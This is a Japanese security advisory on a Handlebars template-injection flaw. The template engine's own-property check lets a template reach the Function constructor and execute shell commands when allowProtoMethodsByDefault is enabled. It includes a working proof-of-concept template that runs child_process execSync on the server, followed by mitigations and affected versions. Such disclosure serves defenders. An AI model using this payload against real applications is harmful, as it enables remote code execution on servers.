Handlebars: JavaScriptインジェクション – 独自のプロパティチェックの回避
## 概要
Handlebarsは、プロトタイプへのアクセスを禁止するリストがあるにもかかわらず、`Function`コンストラクタを公開する可能性があります。テンプレートが`Function.prototype`に到達すると、禁止リストがチェックされる前に、その独自の`constructor`プロパティが返されます。`allowProtoMethodsByDefault: true`で制御されたテンプレートをレンダリングできる攻撃者は、任意のJavaScriptを注入して実行でき、サーバー上でリモートコード実行を引き起こす可能性があります。
## 説明
`lookupProperty`は、独自のプロパティを信頼します。
```js
if (Object.prototype.hasOwnProperty.call(parent, propertyName)) {
return result;
}
```
通常、プロトタイプから派生した値は`resultIsAllowed`に到達し、`constructor`のような危険なメソッド名をブロックします。しかし、`constructor`自体は、プロトタイプオブジェクトの独自のプロパティです。
```js
Function.prototype.constructor === Function;
String.prototype.constructor === String;
Object.prototype.constructor === Object;
```
その結果、テンプレートが`Function.prototype`に到達すると、`constructor`を検索すると、禁止リストを参照せずに`Function`が返されます。
## 実証
攻撃者は、`constructor`が独自のプロパティである任意のプロトタイプオブジェクトに到達し、`constructor`にアクセスして`Function`を取得する必要があります。最短の経路は、テンプレートコンテキストでアクセス可能な関数のみを必要とします。
1. 関数のプロトタイプへのアクセス: `{{lookup myFunction "proto"}}` は `Function.prototype` に解決されます。 `proto` プロパティは禁止リストに含まれておらず、`allowProtoMethodsByDefault` が `true` の場合(結果が関数であるため)は許可されます。
2. `hasOwnProperty` を使用したコンストラクタへのアクセス: `{{lookup (lookup myFunction "\_\_proto__") "constructor"}}` は `Function` に解決されます。 `Function.prototype.constructor` は `Function.prototype` の自身のプロパティであるため、`hasOwnProperty` は `true` を返し、`lookupProperty` は `resultIsAllowed` を呼び出さずに値を返します。 禁止リストのエントリ `constructor: false` は評価されません。
3. 任意のコードの構築と実行: 攻撃者は `Function` を使用して、攻撃者が制御する内容を持つ関数を作成し、Handlebars のテンプレートレンダリングメカニズム(例:`#with` で関数を呼び出す、ラムダ処理、または `#each` の反復処理と `apply` の組み合わせ)を通じてその実行をトリガーします。
```javascript
const Handlebars = require('handlebars');
// `hasOwnProperty` チェックを使用したコンストラクタへのアクセスを回避
const template = Handlebars.compile(
// テンプレート文字列リテラルからコード配列を構築
'{{#with a}}' +
'{{lookup "" (push "return process.mainModule.require(\'child_process\').execSync(\'id\').toString()")}}' +
'{{lookup "" (pop)}}' +
'{{lookup "" (shift)}}' +
'{{/with}}' +
// `Function.prototype.constructor` 上の自身のプロパティを介した `Function` へのアクセス
'{{lookup "" (@root.a.push (lookup (lookup fn "__proto__") "constructor"))}}' +
// `#each` は `depth0=Function` を呼び出さずに設定し、`apply` はハッシュボディを回避
'{{#each @root}}{{#if @index}}{{else}}' +
'{{#with (this.apply null @root.a)}}{{this}}{{/with}}' +
'{{/if}}{{/each}}'
);
const result = template(
{ fn: function(){}, a: [0] },
{ allowProtoMethodsByDefault: true }
);
console.log(result.trim());
// 出力: uid=1000(node) gid=1000(node) groups=1000(node)
```
## 対策
信頼できないデータを含むテンプレートをコンパイルする際には、`allowProtoMethodsByDefault: true` を設定しないでください。
[hbs](https://www.npmjs.com/package/hbs) のような、デフォルトで `allowProtoMethodsByDefault: true` に設定されているパッケージを使用している場合は、Handlebars を最新バージョンに更新する必要があります。
影響を受けるパッケージ:
- npm (JavaScript) handlebars: 影響を受けるバージョンは 3.0.0 以降、4.7.9 以下。4.7.10 で修正済み。